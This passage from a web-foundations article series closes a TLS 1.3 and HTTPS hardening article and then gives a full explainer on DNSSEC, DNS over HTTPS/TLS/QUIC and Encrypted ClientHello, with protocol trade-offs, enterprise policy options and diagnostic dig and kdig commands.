| `issuewild` | Authorize CA for wildcard certificates |
| `iodef`     | Report unauthorized issuance attempts  |

### CA Compliance

The CA/Browser Forum Baseline Requirements mandate CAA checking before issuance. CAs must:

1. Query CAA records for the requested domain
2. Walk up the DNS hierarchy if no records found
3. Refuse issuance if not authorized

**Limitation**: CAA is preventive only. It doesn't invalidate already-issued certificates.

### DNSSEC Integration (2026)

Starting February 2026 (CA/Browser Forum Ballot SC-085v2), CAs must validate DNSSEC for:

- Domain control verification
- CAA checks

If DNSSEC is deployed but validation fails, CAs must refuse issuance. This prevents DNS hijacking attacks on CAA.

## Operational Hardening Checklist

### TLS Configuration

- [ ] Enable TLS 1.3, disable TLS 1.0/1.1
- [ ] Prefer TLS_AES_128_GCM_SHA256, TLS_CHACHA20_POLY1305_SHA256
- [ ] Configure ECDHE curves: X25519, P-256
- [ ] Enable 0-RTT only for sites without state-changing GET requests
- [ ] Set session ticket lifetime ≤ 7 days
- [ ] Rotate session ticket encryption keys regularly

### HTTPS Hardening

- [ ] Deploy HSTS with `max-age=63072000; includeSubDomains`
- [ ] Submit to HSTS preload after verifying all subdomains
- [ ] Enable OCSP stapling (even though browsers soft-fail)
- [ ] Configure CAA records authorizing only your CAs
- [ ] Monitor CT logs for unexpected certificates (crt.sh, Cert Spotter)
- [ ] Use short-lived certificates (90 days or less)

### 0-RTT Policy

- [ ] Accept 0-RTT only for idempotent methods (GET, HEAD, OPTIONS)
- [ ] Configure `Early-Data` header forwarding to origin
- [ ] Implement 425 responses for non-idempotent endpoints
- [ ] Consider disabling 0-RTT entirely for high-security applications

### Certificate Management

- [ ] Automate certificate renewal (ACME/Certbot)
- [ ] Include full certificate chain (leaf + intermediates)
- [ ] Monitor certificate expiration
- [ ] Test certificate deployment with SSL Labs

## Conclusion

TLS 1.3 represents a decade of lessons learned from attacks on TLS 1.2. The protocol eliminates legacy cryptographic modes, mandates forward secrecy, and reduces handshake latency—all through careful design constraints rather than optional best practices.

HTTPS hardening beyond TLS requires understanding what each mechanism actually provides:

- **HSTS** prevents downgrade but needs preload for first-visit protection
- **Certificate Transparency** enables detection but not prevention of misissued certificates
- **OCSP stapling** improves privacy and performance but browsers soft-fail anyway
- **CAA** prevents unauthorized issuance but doesn't revoke existing certificates

The uncomfortable truth: revocation checking has largely failed. Short-lived certificates and CT monitoring provide more practical security than OCSP ever did.

0-RTT offers real latency benefits but introduces replay risks that require application-level mitigation. For most sites, the trade-off isn't worth it unless you've carefully analyzed which endpoints can safely accept replayed requests.

## Appendix

### Prerequisites

- TCP/IP fundamentals
- Public key cryptography basics (RSA, ECDH, signatures)
- X.509 certificate structure
- HTTP/1.1 and HTTP/2 understanding

### Terminology

- **AEAD**: Authenticated Encryption with Associated Data—encryption providing confidentiality and integrity in a single operation
- **(EC)DHE**: Elliptic Curve Diffie-Hellman Ephemeral—key exchange generating fresh keys per session
- **Forward Secrecy**: Property where compromise of long-term keys doesn't compromise past session keys
- **HKDF**: HMAC-based Key Derivation Function—derives multiple cryptographic keys from a single secret
- **OCSP**: Online Certificate Status Protocol—real-time certificate revocation checking
- **PSK**: Pre-Shared Key—symmetric key established in a previous session for resumption
- **SCT**: Signed Certificate Timestamp—proof of submission to a Certificate Transparency log
- **STEK**: Session Ticket Encryption Key—server key used to encrypt session tickets

### Summary

- TLS 1.3 achieves 1-RTT handshakes by having clients speculatively send (EC)DHE key shares
- Forward secrecy is mandatory—no cipher suites without ephemeral key exchange exist
- Everything after ServerHello is encrypted, including certificates and metadata
- 0-RTT early data trades security (replayable) for latency; safe only for idempotent requests
- HSTS prevents protocol downgrade but preload is required for first-visit protection
- Certificate Transparency detects misissued certificates post-facto; doesn't prevent use
- Browser OCSP soft-fail means revocation checking provides no security against active attackers
- Short-lived certificates are the industry's practical answer to revocation's failure

### References

- [RFC 8446 - The Transport Layer Security (TLS) Protocol Version 1.3](https://datatracker.ietf.org/doc/html/rfc8446) — Authoritative TLS 1.3 specification
- [RFC 8470 - Using Early Data in HTTP](https://datatracker.ietf.org/doc/html/rfc8470) — HTTP integration for 0-RTT, Early-Data header, 425 status code
- [RFC 6797 - HTTP Strict Transport Security (HSTS)](https://datatracker.ietf.org/doc/html/rfc6797) — HSTS specification
- [RFC 9162 - Certificate Transparency Version 2.0](https://datatracker.ietf.org/doc/html/rfc9162) — Current CT specification (replaces RFC 6962)
- [RFC 8659 - DNS Certification Authority Authorization (CAA) Resource Record](https://datatracker.ietf.org/doc/html/rfc8659) — CAA record specification
- [RFC 6066 - Transport Layer Security (TLS) Extensions](https://datatracker.ietf.org/doc/html/rfc6066) — OCSP stapling (status_request extension)
- [RFC 6961 - TLS Multiple Certificate Status Request Extension](https://datatracker.ietf.org/doc/html/rfc6961) — status_request_v2 for multiple OCSP responses
- [HSTS Preload Submission](https://hstspreload.org/) — Browser preload list submission portal
- [Cloudflare: A Detailed Look at RFC 8446](https://blog.cloudflare.com/rfc-8446-aka-tls-1-3/) — Practical TLS 1.3 deployment insights
- [Cloudflare: Introducing 0-RTT](https://blog.cloudflare.com/introducing-0-rtt/) — 0-RTT implementation and replay protection
- [Let's Encrypt: Ending OCSP Support](https://letsencrypt.org/2024/12/05/ending-ocsp) — Industry rationale for abandoning OCSP
- [Trail of Bits: What Developers Need to Know About TLS Early Data](https://blog.trailofbits.com/2019/03/25/what-application-developers-need-to-know-about-tls-early-data-0rtt/) — Application-level 0-RTT security guidance

---

## DNS Security and Privacy: DNSSEC, DoH, and DoT

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/networking-protocols/dns-security-doh-dot-dnssec
**Category:** Web Foundations / Networking & Protocols
**Description:** Traditional DNS transmits queries in plaintext over UDP port 53—visible to any network observer and trivially spoofable. This created two distinct security gaps: authenticity (how do you know the response is legitimate?) and confidentiality (who can see what you’re querying?). DNSSEC (Domain Name System Security Extensions) addresses authenticity through cryptographic signatures. DoH (DNS over HTTPS) and DoT (DNS over TLS) address confidentiality through encryption. These technologies solve different problems and operate independently—a zone can be DNSSEC-signed without using encrypted transport, and encrypted DNS works without DNSSEC validation.

# DNS Security and Privacy: DNSSEC, DoH, and DoT

Traditional DNS transmits queries in plaintext over UDP port 53—visible to any network observer and trivially spoofable. This created two distinct security gaps: authenticity (how do you know the response is legitimate?) and confidentiality (who can see what you're querying?). DNSSEC (Domain Name System Security Extensions) addresses authenticity through cryptographic signatures. DoH (DNS over HTTPS) and DoT (DNS over TLS) address confidentiality through encryption. These technologies solve different problems and operate independently—a zone can be DNSSEC-signed without using encrypted transport, and encrypted DNS works without DNSSEC validation.

<figure>

![DNS security layers: encrypted transport protects the client-to-resolver path; DNSSEC authenticates responses from authoritative servers. Full protection requires both.](./dns-security-layers-encrypted-transport-protects-the-client-to-resolver-path-dns.svg)

<figcaption>DNS security layers: encrypted transport protects the client-to-resolver path; DNSSEC authenticates responses from authoritative servers. Full protection requires both.</figcaption>
</figure>

## Abstract

DNS security operates on two orthogonal axes:

**Authenticity (DNSSEC)**: Cryptographic signatures prove that DNS responses originate from the zone owner and haven't been tampered with. The chain of trust starts at the DNS root, where a pre-configured trust anchor validates signatures down through TLD servers to individual domains. Validation happens at the recursive resolver—if signatures don't verify, the resolver returns SERVFAIL rather than a potentially poisoned response.

**Confidentiality (DoH/DoT/DoQ)**: Encryption prevents network observers from seeing DNS queries. This protects against passive surveillance but doesn't authenticate responses—a malicious resolver could still return false data over an encrypted channel. DoH tunnels DNS through HTTPS (port 443), making it indistinguishable from web traffic. DoT uses a dedicated port (853), which is easier to manage but also easier to block.

Key trade-offs:

| Goal                                   | DNSSEC                    | DoH                       | DoT                       |
| -------------------------------------- | ------------------------- | ------------------------- | ------------------------- |
| **Prevents response spoofing**         | ✓                         | ✗                         | ✗                         |
| **Prevents eavesdropping**             | ✗                         | ✓                         | ✓                         |
| **Works with existing infrastructure** | ✓ (authoritative signing) | Requires resolver support | Requires resolver support |
| **Enterprise policy compatible**       | ✓                         | Problematic (port 443)    | Manageable (port 853)     |

Mental model: DNSSEC is like a notarized signature on a letter—anyone can read it, but you can verify the sender. DoH/DoT is like a sealed envelope—observers can't read the contents, but you're trusting whoever opens it.

## DNSSEC: Cryptographic Authentication

### Chain of Trust Architecture

DNSSEC authenticates DNS responses through a hierarchy of cryptographic signatures. Each signed zone publishes:

1. **DNSKEY records**: Public keys for the zone
2. **RRSIG records**: Signatures over each record set (RRset)
3. **DS records**: Hash of child zone's key, published in parent zone

The chain of trust flows from the root zone downward:

```
Root Zone (trust anchor)
    │
    ├─ DS record for .com
    │       │
    │       └─ .com DNSKEY (verified by root's DS)
    │               │
    │               ├─ DS record for example.com
    │               │       │
    │               │       └─ example.com DNSKEY (verified by .com's DS)
    │               │               │
    │               │               └─ RRSIG over example.com A record
```

**Root trust anchor**: Validating resolvers are pre-configured with the root zone's public key (KSK). This is the only key that must be trusted implicitly—everything else is cryptographically derived. The current root KSK (KSK-2017) was rolled in 2017; the next rollover (KSK-2024) was introduced in January 2025 and will begin signing in October 2026.

**DS (Delegation Signer) records**: The parent zone publishes a DS record containing a hash of the child zone's KSK (Key Signing Key). This creates the cryptographic link between zones. When a resolver validates `example.com`, it fetches the DS record from `.com`, verifies it against `.com`'s signature, then uses it to validate `example.com`'s DNSKEY.

### Key Types: KSK and ZSK

DNSSEC uses two key types per RFC 4033:

| Key Type                   | Purpose                   | Rollover Impact              | Typical Validity |
| -------------------------- | ------------------------- | ---------------------------- | ---------------- |
| **KSK** (Key Signing Key)  | Signs the DNSKEY RRset    | Requires DS update at parent | 1-2 years        |
| **ZSK** (Zone Signing Key) | Signs all other zone data | No parent interaction        | 1-3 months       |

**Why two keys?** Separating responsibilities allows frequent ZSK rotation (limiting exposure if compromised) without the operational overhead of updating DS records at the registrar. The KSK only signs the DNSKEY RRset, so it can be kept more secure (HSM, offline) and rolled less frequently.

**Key rollover timing (RFC 7583)**: The critical constraint is cache timing. During rollover:

1. Both old and new keys must be published long enough for all caches to see them
2. Signatures must overlap so validators with either key can verify
3. For KSK rollover, the old DS must remain until the new DNSKEY has propagated

**Emergency considerations**: RFC 7583 recommends maintaining standby keys in ready state. A compromised ZSK can be replaced within hours; a compromised KSK requires DS updates that may take 24-48 hours to propagate.

### Algorithm Selection (RFC 8624)

RFC 8624 specifies algorithm requirements for DNSSEC implementations:

| Algorithm           | ID  | Signing Status | Validation Status | Notes                           |
| ------------------- | --- | -------------- | ----------------- | ------------------------------- |
| **RSASHA256**       | 8   | MUST           | MUST              | Legacy, larger signatures       |
| **ECDSAP256SHA256** | 13  | MUST           | MUST              | Recommended for new deployments |
| **ECDSAP384SHA384** | 14  | MAY            | RECOMMENDED       | Higher security margin          |
| **ED25519**         | 15  | RECOMMENDED    | RECOMMENDED       | Smallest signatures, modern     |
| **ED448**           | 16  | MAY            | RECOMMENDED       | Highest security                |

**Design decision—why ECDSA over RSA?** ECDSA P-256 produces 64-byte signatures versus 256+ bytes for RSA-2048. Smaller signatures mean smaller DNS responses, reducing truncation and TCP fallback. For a zone with 1000 records, ECDSA can reduce signed zone size by 50-70%.

**ED25519 advantages**: No requirement for unique random numbers per signature (deterministic), no padding/truncation issues, resistance to certain side-channel attacks. However, validator support is ~85% as of 2024, so ECDSAP256 remains the safest choice for maximum compatibility.

### Authenticated Denial: NSEC vs NSEC3

When a name doesn't exist, DNSSEC must prove the absence—otherwise an attacker could forge NXDOMAIN responses. Two mechanisms exist:

**NSEC (RFC 4034)**: Links existing names in canonical order. To prove `nonexistent.example.com` doesn't exist, the server returns NSEC records showing the names that bracket it:

```dns
alpha.example.com.    NSEC    beta.example.com. A AAAA RRSIG NSEC
```

This proves no names exist between `alpha` and `beta`. **Problem**: An attacker can "zone walk" by requesting random names and following NSEC chains to enumerate every name in the zone.

**NSEC3 (RFC 5155)**: Hashes names before ordering, obscuring the actual domain names:

```dns
1AVVQN7M7R...(hash).example.com.    NSEC3    J8DF92KL...(hash).example.com.
```

Zone walking requires reversing cryptographic hashes—computationally expensive but not impossible for short names.

**RFC 9276 recommendations** (August 2022, BCP 236): Use iterations=0 and empty salt. Higher iteration counts were once thought to increase zone-walking difficulty, but RFC 9276 determined they provide negligible security benefit while creating denial-of-service vectors. CVE-2023-50868 demonstrated CPU exhaustion via high-iteration NSEC3 processing.

**Current compliance**: APNIC research (December 2024) found 87.8% of NSEC3-enabled domains don't follow RFC 9276 recommendations. BIND 9.19+ treats responses with iterations >50 as insecure.

### Validation Behavior and Failure Modes

When DNSSEC validation fails, resolvers return SERVFAIL—the same error code used for unreachable servers, timeout, and other failures. RFC 8914 Extended DNS Errors (EDE) provides more detail:

| EDE Code | Meaning                          |
| -------- | -------------------------------- |
| 6        | DNSSEC Bogus (validation failed) |
| 7        | Signature Expired                |
| 8        | Signature Not Yet Valid          |
| 9        | DNSKEY Missing                   |
| 10       | RRSIGs Missing                   |

**Checking for DNSSEC issues**:

```bash
# Normal query (validation enabled)
dig example.com
# If SERVFAIL, try with validation disabled:
dig example.com +cd

# +cd succeeds = DNSSEC problem
# Both fail = authoritative/network problem
```

**The AD (Authenticated Data) flag**: When a resolver validates DNSSEC successfully, it sets the AD flag in the response. Stub resolvers can check this flag to know the data was authenticated—but only if they trust their recursive resolver.

**CD (Checking Disabled) flag**: Clients can set this flag to request that the resolver skip validation. Useful for debugging, but it means the response is unauthenticated.

### DNSSEC Adoption and Operational Reality

As of 2024:

| Metric                      | Rate | Notes                                           |
| --------------------------- | ---- | ----------------------------------------------- |
| **Global validation**       | ~35% | Percentage of users behind validating resolvers |
| **EU validation**           | ~49% | Higher in regions with regulatory drivers       |
| **.com signing**            | ~4%  | Low despite TLD support                         |
| **Sweden validation**       | >80% | Highest national adoption                       |
| **Netherlands .nl signing** | >50% | Incentive program (lower registry fees)         |

**Why low adoption?** DNSSEC adds operational complexity (key management, rollover procedures, signature expiration monitoring) with no visible user benefit when it works correctly. Failures are catastrophic—a misconfigured zone becomes unreachable to validating resolvers. Risk/reward calculus discourages adoption.

**Incentive programs work**: The Netherlands' SIDN offers lower registration fees for DNSSEC-signed domains. This created measurable adoption increase. Without financial or regulatory incentives, adoption stagnates.

## DNS over HTTPS (DoH)

### Protocol Design (RFC 8484)

DoH encapsulates DNS queries within HTTPS, using standard HTTP semantics. Two encodings are defined:

**Wire format (`application/dns-message`)**: The binary DNS message (same format as UDP) is transmitted directly. For GET requests, the message is base64url-encoded in a `dns=` query parameter:

```http
GET /dns-query?dns=AAABAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB HTTP/1.1
Host: cloudflare-dns.com
Accept: application/dns-message
```

For POST requests, the raw binary is sent as the HTTP body:

```http
POST /dns-query HTTP/1.1
Host: cloudflare-dns.com
Content-Type: application/dns-message
Content-Length: 32

[binary DNS query]
```

**JSON format** (`application/dns-json`): Not part of RFC 8484 but supported by some resolvers (Google, Cloudflare). Human-readable but less cache-friendly:

```http
GET /resolve?name=example.com&type=A HTTP/1.1
Host: dns.google
Accept: application/dns-json
```

**Design decision—why both GET and POST?** RFC 8484 recommends GET for queries that benefit from caching and POST for privacy-sensitive queries. GET requests can be cached by HTTP intermediaries; POST requests typically aren't. However, the query name is still visible in the HTTP request for both methods.

### HTTP Caching Semantics

DoH leverages HTTP caching, but with DNS-specific constraints:

**TTL interaction**: The effective cache lifetime is the minimum of the DNS TTL and HTTP freshness. If a record has TTL 600 seconds and the HTTP response has `Age: 250`, the remaining lifetime is 350 seconds.

**DNS ID field**: RFC 8484 recommends clients use DNS ID 0 for cache-friendliness. Since HTTP correlates requests and responses, the DNS ID serves no purpose and varying it reduces cache hit rates.

**Conditional requests (RFC 7232)**: Limited utility for DoH because DNS responses change frequently and the latency cost of a conditional request often exceeds fetching fresh data.

### Browser Implementation

Major browsers implemented DoH between 2019-2020:

| Browser     | Default Behavior                 | Fallback                      | Enterprise Control            |
| ----------- | -------------------------------- | ----------------------------- | ----------------------------- |
| **Firefox** | Enabled in US (2020)             | Falls back to OS resolver     | Group Policy, canary domain   |
| **Chrome**  | Enabled if resolver supports DoH | Upgrades existing resolver    | Group Policy, managed devices |
| **Safari**  | No built-in toggle               | System configuration profiles | MDM profiles                  |
| **Edge**    | Configurable                     | Upgrades existing resolver    | Group Policy                  |

**Canary domain** (`use-application-dns.net`): Networks can return NXDOMAIN for this domain to signal that DoH should be disabled. Browsers check this domain before enabling DoH automatically. This only affects automatic enablement—users who manually configure DoH bypass the check.

**Chrome's approach**: Chrome doesn't change the DNS server—it upgrades the connection to the configured system resolver if that resolver supports DoH. This preserves split-horizon DNS behavior but limits privacy benefits (ISP resolver still sees queries, just encrypted).

**Firefox's approach**: Firefox defaults to Cloudflare (1.1.1.1), effectively changing the resolver. This provides more privacy from ISP surveillance but breaks split-horizon setups.

### Privacy Trade-offs

DoH provides confidentiality between client and resolver—network observers see only HTTPS traffic to the resolver's IP. However:

**Resolver trust**: The DoH resolver sees all your queries. Using a third-party resolver (Cloudflare, Google) centralizes DNS traffic with that provider rather than distributing it across ISPs and corporate resolvers.

**Traffic analysis**: The resolver's IP address identifies DoH traffic. An observer can't see the queries but knows you're using that resolver. DoH doesn't hide the final destination—the client still connects to the resolved IP address.

**Server Name Indication (SNI)**: After DNS resolution, the TLS handshake exposes the target hostname in the ClientHello. DoH protects DNS but not the subsequent TLS connection—until ECH (Encrypted ClientHello) is deployed.

### Oblivious DoH (RFC 9230)

ODoH adds a privacy proxy between client and resolver:

```
Client → Proxy (sees client IP, encrypted query) → Target (sees query, not client IP)
```

The proxy knows who you are but not what you're querying. The target knows the query but not who asked. Neither party has both pieces.

**Architecture**:

1. Client encrypts query with target's public key (obtained via HTTPS)
2. Client sends encrypted query to proxy
3. Proxy forwards to target without seeing contents
4. Target decrypts, resolves, encrypts response
5. Response returns through proxy to client

**Deployment**: Cloudflare offers ODoH at `odoh.cloudflare-dns.com`. Apple iCloud Private Relay uses ODoH with Cloudflare as the resolver.

**Limitation**: Adds latency (extra hop) and requires trust in both proxy and target. If proxy and target collude, privacy is lost.

## DNS over TLS (DoT)

### Protocol Design (RFC 7858)

DoT wraps DNS in TLS on a dedicated port (853). Unlike DoH, there's no HTTP layer—DNS messages are sent directly over the TLS connection with a 2-byte length prefix.

**Port 853 rationale**: RFC 7858 mandates port 853 and prohibits DNS over TLS on port 53. This separation allows network administrators to distinguish encrypted DNS from cleartext DNS—they can allow or block DoT independently.

**Connection reuse**: Multiple DNS queries can share a single TLS connection, amortizing handshake overhead. TCP keepalives maintain idle connections. This differs from traditional DNS where each query is a separate UDP datagram.

### Usage Profiles (RFC 8310)

RFC 8310 defines two security profiles:

**Opportunistic mode**: Client attempts DoT (port 853), falls back to cleartext (port 53) if unavailable. Provides protection against passive eavesdroppers but not active attackers who can block port 853.

```
Client → try port 853 → success? use DoT : fallback to port 53
```

**Strict mode**: Client requires authenticated TLS. No fallback—if DoT fails, DNS fails. The client validates the server certificate against a configured hostname or SPKI pin.

**Design trade-off**: Opportunistic mode is easier to deploy (works without configuration) but vulnerable to downgrade attacks. Strict mode requires explicit configuration but guarantees encryption.

### DoT vs DoH Comparison

| Aspect                    | DoT                          | DoH                              |
| ------------------------- | ---------------------------- | -------------------------------- |
| **Port**                  | 853 (dedicated)              | 443 (shared with HTTPS)          |
| **Network visibility**    | Identifiable as DNS          | Indistinguishable from HTTPS     |
| **Blocking**              | Block port 853               | Requires blocking all HTTPS      |
| **Enterprise management** | Can firewall/monitor         | Difficult to distinguish         |
| **HTTP features**         | None                         | Caching, multiplexing (HTTP/2)   |
| **Latency**               | TLS handshake per connection | HTTP/2 multiplexing reduces RTTs |

**Enterprise preference**: DoT's dedicated port makes it manageable. Security teams can allow DoT to approved resolvers while blocking it to unknown destinations. DoH's use of port 443 makes this impossible without deep packet inspection.

**Privacy preference**: DoH blends with web traffic, making it harder to identify and block. In adversarial networks (surveillance, censorship), DoH provides better protection.

## DNS over QUIC (DoQ)

### Protocol Design (RFC 9250)

DoQ runs DNS over QUIC on UDP port 853 (same port number as DoT's TCP port, different protocol). QUIC provides:

**0-RTT resumption**: Returning clients can send queries immediately, without waiting for a handshake. Reduces latency for subsequent connections.

**No head-of-line blocking**: QUIC streams are independent. A lost packet delays only the affected query, not all queries on the connection—unlike TCP where loss blocks all data.

**Connection migration**: QUIC connections survive network changes (WiFi to cellular). The connection ID, not the IP tuple, identifies the connection.

**Performance**: ACM research (October 2022) found DoQ web page loads 10% faster than DoH, only 2% slower than cleartext UDP DNS.

### Implementation Status

DoQ is newer than DoH/DoT with limited deployment:

| Component                 | DoQ Support                              |
| ------------------------- | ---------------------------------------- |
| **AdGuard DNS**           | Production (first major public resolver) |
| **dnsdist 1.9+**          | Production                               |
| **Technitium DNS Server** | Production                               |
| **dnspython 2.7+**        | Library support                          |
| **Major browsers**        | Not yet (as of January 2025)             |

**Adoption barrier**: QUIC stack complexity. DoH leverages existing HTTP/2 implementations; DoQ requires QUIC support that many systems lack.

## Encrypted ClientHello (ECH)

### Completing the Privacy Stack

Even with encrypted DNS, the TLS handshake exposes the destination hostname in the SNI (Server Name Indication) field. Network observers can't see DNS queries (DoH/DoT) but can see which sites you connect to via SNI.

ECH encrypts the ClientHello's SNI using a key obtained from DNS:

```
1. Resolve example.com → HTTPS record contains ECH public key
2. TLS ClientHelloOuter: SNI = shared/cover hostname
3. TLS ClientHelloInner (encrypted): SNI = example.com
4. Server decrypts, completes handshake for actual destination
```

**DNS dependency**: ECH keys are published in HTTPS/SVCB DNS records. These must be fetched securely (DoH) to prevent tampering. If an attacker can modify DNS, they can strip ECH keys.

**Browser support (2024-2025)**:

| Browser | Status                         |
| ------- | ------------------------------ |
| Chrome  | Ramping up                     |
| Firefox | Ramping up                     |
| Edge    | Depends on server availability |

Approximately 59% of browsers support ECH. Server-side support is concentrated at Cloudflare (~70% of ECH-capable sites).

**Censorship response**: Russia began blocking Cloudflare's ECH in November 2024. ECH is also blocked in Iran and China via encrypted DNS blocking.

## Enterprise Deployment Considerations

### Split-Horizon DNS Challenges

Split-horizon (split-brain) DNS returns different responses based on query source—typically internal versus external networks. Encrypted DNS breaks this:

**Problem**: When a laptop uses Firefox's default DoH (Cloudflare), queries for `internal.corp.example.com` go to Cloudflare instead of the corporate resolver. Cloudflare returns NXDOMAIN because internal zones aren't published externally.

**Symptoms**:

- Internal applications fail to resolve
- Internal DNS names leak to external providers
- Security monitoring gaps (DNS queries bypass internal logging)

### Policy Enforcement Options

NSA guidance (January 2021) outlines enterprise options:

| Approach                        | Mechanism                              | Trade-off                             |
| ------------------------------- | -------------------------------------- | ------------------------------------- |
| **Block DoT**                   | Firewall TCP/UDP 853                   | Works for DoT; ineffective for DoH    |
| **Block known DoH endpoints**   | IP/domain blocking                     | Cat-and-mouse; endpoints proliferate  |
| **Internal encrypted resolver** | DoH/DoT to internal resolver           | Best balance; requires infrastructure |
| **Endpoint policy**             | MDM/GPO disable per-app DoH            | Requires managed devices              |
| **Canary domain**               | NXDOMAIN for `use-application-dns.net` | Only affects auto-enabled DoH         |

**Practical approach**: Deploy an internal resolver that supports DoH/DoT. Configure endpoints to use it. Block external DoT (port 853). Accept that DoH to port 443 is unblockable without breaking the web.

### Resolver Selection Strategy

| Use Case                       | Resolver Choice                | Rationale                        |
| ------------------------------ | ------------------------------ | -------------------------------- |
| **Enterprise managed devices** | Internal resolver with DoH/DoT | Maintains split-horizon, logging |
| **Privacy-focused users**      | Cloudflare (1.1.1.1) or Quad9  | No ECS, privacy policies         |
| **CDN-optimal routing**        | Google (8.8.8.8) with ECS      | ECS improves GeoDNS accuracy     |
| **Malware blocking**           | Quad9 (9.9.9.9)                | Threat intelligence filtering    |

**EDNS Client Subnet (ECS)**: Cloudflare intentionally doesn't send ECS (privacy). Google does. ECS improves CDN routing by letting authoritative servers know the client's approximate location—but leaks that information to the authoritative server.

## Operational Verification

### Testing DNSSEC

```bash
# Check if domain is signed
dig example.com DNSKEY +dnssec

# Verify validation (AD flag should be set)
dig example.com +dnssec
# Look for: flags: qr rd ra ad

# Test with validation disabled
dig example.com +cd
# If this succeeds but normal dig fails → DNSSEC problem

# Detailed validation trace
delv example.com +vtrace

# Visual chain analysis
# https://dnsviz.net/d/example.com/analyze/
```

### Testing DoH/DoT

```bash
# Test DoT with kdig (Knot DNS)
kdig @1.1.1.1 example.com +tls

# Test DoH with kdig
kdig @1.1.1.1 example.com +https

# Test DoH with curl
curl -H 'accept: application/dns-json' \
  'https://cloudflare-dns.com/dns-query?name=example.com'

# Test DoQ with kdig
kdig @dns.adguard-dns.com example.com +quic
```

### Monitoring DNS Security Posture

Key metrics for DNS security monitoring:

| Metric                         | Healthy Value | Alert Condition |
| ------------------------------ | ------------- | --------------- |
| DNSSEC validation success rate | >99.9%        | <99%            |
| RRSIG time to expiry           | >7 days       | <3 days         |
| DS record match                | 100%          | Any mismatch    |
| DoH/DoT connection failures    | <1%           | >5%             |

**RRSIG expiration**: The most common DNSSEC outage is expired signatures. Monitor `RRSIG` expiration dates and alert before they expire:

```bash
dig example.com RRSIG +dnssec +multiline | grep -A1 "RRSIG.*A"
# Shows: inception and expiration timestamps
```

## Conclusion

DNS security addresses two orthogonal concerns: authenticity (DNSSEC) and confidentiality (encrypted transport). DNSSEC proves responses haven't been tampered with through cryptographic signatures anchored at the DNS root. DoH, DoT, and DoQ encrypt the query/response path between client and recursive resolver.

DNSSEC adoption remains low (~35% of users behind validating resolvers, ~5% of domains signed) due to operational complexity and silent-failure risk. When it fails, resolution breaks entirely for validating clients. Deployment requires careful key management, signature monitoring, and rollover planning.

Encrypted DNS adoption is higher, driven by browser defaults. Firefox and Chrome enable DoH automatically in many regions. The trade-off: improved privacy from network surveillance but potential breakage for enterprise split-horizon setups and loss of network-level security monitoring.

For enterprises: deploy internal resolvers supporting DoH/DoT, configure endpoints to use them, and use canary domains to prevent automatic DoH to external resolvers. For individual privacy: enable DoH in your browser and consider ODoH for stronger unlinkability between identity and queries.

The complete privacy stack—DNSSEC + DoH + ECH—protects DNS authenticity, query confidentiality, and TLS SNI. As of 2025, full deployment of this stack remains rare but is technically achievable.

## Appendix

### Prerequisites

- DNS resolution fundamentals (see [DNS Resolution Path](../dns-resolution-path/README.md))
- TLS handshake basics (see [TLS 1.3 Handshake](../tls-1-3-handshake-and-https/README.md))
- Understanding of public key cryptography (asymmetric keys, digital signatures)

### Terminology

| Term             | Definition                                                                            |
| ---------------- | ------------------------------------------------------------------------------------- |
| **DNSSEC**       | Domain Name System Security Extensions; cryptographic authentication of DNS responses |
| **KSK**          | Key Signing Key; signs the DNSKEY RRset, hash published as DS in parent zone          |
| **ZSK**          | Zone Signing Key; signs zone data, rolled more frequently than KSK                    |
| **DS**           | Delegation Signer; hash of child zone's KSK, published in parent zone                 |
| **RRSIG**        | Resource Record Signature; cryptographic signature over an RRset                      |
| **DNSKEY**       | DNS public key record; contains KSK and ZSK public keys                               |
| **NSEC/NSEC3**   | Next Secure; records proving non-existence of names                                   |
| **DoH**          | DNS over HTTPS (RFC 8484); DNS queries tunneled through HTTPS                         |
| **DoT**          | DNS over TLS (RFC 7858); DNS queries over TLS on port 853                             |
| **DoQ**          | DNS over QUIC (RFC 9250); DNS queries over QUIC                                       |
| **ODoH**         | Oblivious DoH (RFC 9230); privacy-preserving DoH with proxy separation                |
| **ECH**          | Encrypted ClientHello; encrypts TLS SNI field                                         |
| **ECS**          | EDNS Client Subnet (RFC 7871); forwards client subnet to authoritative for GeoDNS     |
| **AD flag**      | Authenticated Data; set when DNSSEC validation succeeded                              |
| **CD flag**      | Checking Disabled; client requests validation be skipped                              |
| **Trust anchor** | Pre-configured trusted public key (root zone KSK)                                     |

### Summary

- **DNSSEC** authenticates responses through cryptographic signatures; chain of trust flows from root → TLD → domain
- **KSK** signs DNSKEY records and has DS in parent zone; **ZSK** signs zone data and rolls more frequently
- **NSEC3** with iterations=0, empty salt (RFC 9276) is the current recommendation for authenticated denial
- **DoH** (port 443) blends with web traffic; **DoT** (port 853) is identifiable but manageable
- **DoQ** provides 0-RTT and no head-of-line blocking; limited deployment as of 2025
- **ECH** encrypts TLS SNI, completing the privacy stack when combined with DoH
- **Enterprise**: Deploy internal DoH/DoT resolver; use canary domain; accept DoH on 443 is unblockable
- **Root KSK rollover**: KSK-2024 introduced January 2025, begins signing October 2026
- **Validation rate**: ~35% globally; signing rate: ~5% of domains
- **Browser DoH**: Firefox defaults to Cloudflare; Chrome upgrades existing resolver

### References

- [RFC 4033 - DNSSEC Introduction and Requirements](https://datatracker.ietf.org/doc/html/rfc4033) - DNSSEC architecture
- [RFC 4034 - DNSSEC Resource Records](https://datatracker.ietf.org/doc/html/rfc4034) - DNSKEY, DS, RRSIG, NSEC record formats
- [RFC 4035 - DNSSEC Protocol Modifications](https://datatracker.ietf.org/doc/html/rfc4035) - Validation process, resolver behavior
- [RFC 5155 - NSEC3 Hashed Authenticated Denial](https://datatracker.ietf.org/doc/html/rfc5155) - NSEC3 specification
- [RFC 7583 - DNSSEC Key Rollover Timing Considerations](https://datatracker.ietf.org/doc/html/rfc7583) - Rollover procedures
- [RFC 8624 - Algorithm Implementation Requirements for DNSSEC](https://datatracker.ietf.org/doc/html/rfc8624) - Current algorithm status
- [RFC 9276 - Guidance for NSEC3 Parameter Settings](https://datatracker.ietf.org/doc/html/rfc9276) - iterations=0, empty salt recommendation
- [RFC 7858 - DNS over TLS](https://datatracker.ietf.org/doc/html/rfc7858) - DoT specification
- [RFC 8310 - Usage Profiles for DNS over TLS](https://datatracker.ietf.org/doc/html/rfc8310) - Opportunistic vs strict mode
- [RFC 8484 - DNS Queries over HTTPS](https://datatracker.ietf.org/doc/html/rfc8484) - DoH specification
- [RFC 9230 - Oblivious DNS over HTTPS](https://datatracker.ietf.org/doc/html/rfc9230) - ODoH specification
